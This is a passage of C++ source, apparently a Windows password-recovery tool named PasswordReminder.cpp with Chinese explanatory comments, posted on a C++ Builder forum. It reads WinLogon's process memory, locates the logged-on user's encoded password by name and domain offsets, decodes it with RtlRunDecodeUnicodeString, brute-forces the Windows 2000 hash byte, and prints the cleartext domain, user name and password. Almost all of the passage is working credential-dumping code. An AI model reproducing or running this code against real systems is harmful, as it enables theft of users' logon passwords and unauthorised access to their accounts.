SystemInfo; GetSystemInfo (&SystemInfo); DWORD PEB = 0x7ffdf000; DWORD BytesCopied = 0; PVOID PEBP = HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, SystemInfo.dwPageSize); if (!ReadProcessMemory (WinLogonHandle, (PVOID) PEB, PEBP, SystemInfo.dwPageSize, &BytesCopied)) { CloseHandle (WinLogonHandle); return (rc); } // Grab the value of the 2nd DWORD in the TEB. PDWORD WinLogonHeap = (PDWORD) ((DWORD) PEBP + (6 * sizeof (DWORD))); MEMORY_BASIC_INFORMATION MemoryBasicInformation; if (VirtualQueryEx (WinLogonHandle, (PVOID) *WinLogonHeap, &MemoryBasicInformation, sizeof (MEMORY_BASIC_INFORMATION))) if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT) && ((MemoryBasicInformation.Protect & PAGE_GUARD) == 0)) { PVOID WinLogonMemP = HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, MemoryBasicInformation.RegionSize); if (ReadProcessMemory (WinLogonHandle, (PVOID) *WinLogonHeap, WinLogonMemP, MemoryBasicInformation.RegionSize, &BytesCopied)) { DWORD i = (DWORD) WinLogonMemP; DWORD UserNamePos = 0; // The order in memory is UserName followed by the UserDomain. // 在内存搜索UserName和UserDomain字符串 do { if ((wcsicmp (UserName, (wchar_t *) i) == 0) && (wcsicmp (UserDomain, (wchar_t *) (i + USER_DOMAIN_OFFSET_WINNT)) == 0)) { UserNamePos = i; break; } i += 2; } while (i < (DWORD) WinLogonMemP + MemoryBasicInformation.RegionSize); if (UserNamePos) { PENCODED_PASSWORD_INFO EncodedPasswordInfoP = (PENCODED_PASSWORD_INFO) ((DWORD) UserNamePos + USER_PASSWORD_OFFSET_WINNT); FILETIME LocalFileTime; SYSTEMTIME SystemTime; if (FileTimeToLocalFileTime (&EncodedPasswordInfoP->LoggedOn, &LocalFileTime)) if (FileTimeToSystemTime (&LocalFileTime, &SystemTime)) printf ("You logged on at %d/%d/%d %d:%d:%d\n", SystemTime.wMonth, SystemTime.wDay, SystemTime.wYear, SystemTime.wHour, SystemTime.wMinute, SystemTime.wSecond); *PasswordLength = (EncodedPasswordInfoP->EncodedPassword.Length & 0x00ff) / sizeof (wchar_t); // NT就是好,hash-byte直接放在编码:) HashByte = (EncodedPasswordInfoP->EncodedPassword.Length & 0xff00) >> 8; RealPasswordP = (PVOID) (*WinLogonHeap + (UserNamePos - (DWORD) WinLogonMemP) + USER_PASSWORD_OFFSET_WINNT + 0x34); PasswordP = (PVOID) ((PBYTE) (UserNamePos + USER_PASSWORD_OFFSET_WINNT + 0x34)); rc = TRUE; } } } HeapFree (GetProcessHeap (), 0, PEBP); CloseHandle (WinLogonHandle); return (rc); } // LocatePasswordPageWinNT // // LocatePasswordPageWin2K函数用来在Win2K找到用户密码 // BOOL LocatePasswordPageWin2K (DWORD WinLogonPID, PDWORD PasswordLength) { #define USER_DOMAIN_OFFSET_WIN2K 0x400 #define USER_PASSWORD_OFFSET_WIN2K 0x800 HANDLE WinLogonHandle = OpenProcess (PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, WinLogonPID); if (WinLogonHandle == 0) return (FALSE); *PasswordLength = 0; SYSTEM_INFO SystemInfo; GetSystemInfo (&SystemInfo); DWORD i = (DWORD) SystemInfo.lpMinimumApplicationAddress; DWORD MaxMemory = (DWORD) SystemInfo.lpMaximumApplicationAddress; DWORD Increment = SystemInfo.dwPageSize; MEMORY_BASIC_INFORMATION MemoryBasicInformation; while (i < MaxMemory) { if (VirtualQueryEx (WinLogonHandle, (PVOID) i, &MemoryBasicInformation, sizeof (MEMORY_BASIC_INFORMATION))) { Increment = MemoryBasicInformation.RegionSize; if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT) && ((MemoryBasicInformation.Protect & PAGE_GUARD) == 0)) { PVOID RealStartingAddressP = HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, MemoryBasicInformation.RegionSize); DWORD BytesCopied = 0; if (ReadProcessMemory (WinLogonHandle, (PVOID) i, RealStartingAddressP, MemoryBasicInformation.RegionSize, &BytesCopied)) { // 在WinLogon的内存空间寻找UserName和DomainName的字符串 if ((wcsicmp ((wchar_t *) RealStartingAddressP, UserName) == 0) && (wcsicmp ((wchar_t *) ((DWORD) RealStartingAddressP + USER_DOMAIN_OFFSET_WIN2K), UserDomain) == 0)) { RealPasswordP = (PVOID) (i + USER_PASSWORD_OFFSET_WIN2K); PasswordP = (PVOID) ((DWORD) RealStartingAddressP + USER_PASSWORD_OFFSET_WIN2K); // Calculate the length of encoded unicode string. // 计算出密文的长度 PBYTE p = (PBYTE) PasswordP; DWORD Loc = (DWORD) p; DWORD Len = 0; if ((*p == 0) && (* (PBYTE) ((DWORD) p + 1) == 0)) ; else do { Len++; Loc += 2; p = (PBYTE) Loc; } while (*p != 0); *PasswordLength = Len; CloseHandle (WinLogonHandle); return (TRUE); } } HeapFree (GetProcessHeap (), 0, RealStartingAddressP); } } else Increment = SystemInfo.dwPageSize; // Move to next memory block. i += Increment; } CloseHandle (WinLogonHandle); return (FALSE); } // LocatePasswordPageWin2K // // DisplayPasswordWinNT函数用来在NT解码用户密码 // void DisplayPasswordWinNT (void) { UNICODE_STRING EncodedString; EncodedString.Length = (WORD) PasswordLength * sizeof (wchar_t); EncodedString.MaximumLength = ((WORD) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t); EncodedString.Buffer = (PWSTR) HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, EncodedString.MaximumLength); CopyMemory (EncodedString.Buffer, PasswordP, PasswordLength * sizeof (wchar_t)); // Finally - decode the password. // Note that only one call is required since the hash-byte // was part of the orginally encoded string. // 在NT,hash-byte是包含在编码的 // 因此只需要直接调用函数解码就可以了 pfnRtlRunDecodeUnicodeString ((BYTE) HashByte, &EncodedString); printf ("The logon information is: %S/%S/%S.\n", UserDomain, UserName, EncodedString.Buffer); printf ("The hash byte is: 0x%2.2x.\n", HashByte); HeapFree (GetProcessHeap (), 0, EncodedString.Buffer); } // DisplayPasswordWinNT // // DisplayPasswordWin2K函数用来在Win2K解码用户密码 // void DisplayPasswordWin2K (void) { DWORD i, Hash = 0; UNICODE_STRING EncodedString; EncodedString.Length = (USHORT) PasswordLength * sizeof (wchar_t); EncodedString.MaximumLength = ((USHORT) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t); EncodedString.Buffer = (PWSTR) HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, EncodedString.MaximumLength); // This is a brute force technique since the hash-byte // is not stored as part of the encoded string - :>(. // 因为在Win2Khash-byte并不存放在编码 // 所以在这里进行的是暴力破解 // 下面的循环i就是hash-byte // 我们将i从0x00到0xff分别对密文进行解密 // 如果有一个hash-byte使得所有密码都是可见字符,就认为是有效的 // 这个算法实际上是从概率角度来解码的 // 因为如果hash-byte不对而解密出来的密码都是可见字符的概率非常小 for (i = 0; i <= 0xff; i++) { CopyMemory (EncodedString.Buffer, PasswordP, PasswordLength * sizeof (wchar_t)); // Finally - try to decode the password. // 使用i作为hash-byte对密文进行解码 pfnRtlRunDecodeUnicodeString ((BYTE) i, &EncodedString); // Check for a viewable password. // 检查解码出的密码是否完全由可见字符组成 // 如果是则认为是正确的解码 PBYTE p = (PBYTE) EncodedString.Buffer; BOOL Viewable = TRUE; DWORD j, k; for (j = 0; (j < PasswordLength) && Viewable; j++) { if ((*p) && (* (PBYTE)(DWORD (p) + 1) == 0)) { if (*p < 0x20) Viewable = FALSE; if (*p > 0x7e) Viewable = FALSE; //0x20是空格,0X7E是~,所有密码允许使用的可见字符都包括在里面了 } else Viewable = FALSE; k = DWORD (p); k++; k++; p = (PBYTE) k; } if (Viewable) { printf ("The logon information is: %S/%S/%S.\n", UserDomain, UserName, EncodedString.Buffer); printf ("The hash byte is: 0x%2.2x.\n", i); } } HeapFree (GetProcessHeap (), 0, EncodedString.Buffer); } // DisplayPasswordWin2K // end PasswordReminder.cpp

13,825

社区成员

发帖
与我相关
我的任务
社区描述
C++ Builder相关内容讨论区
社区管理员
  • 基础类社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧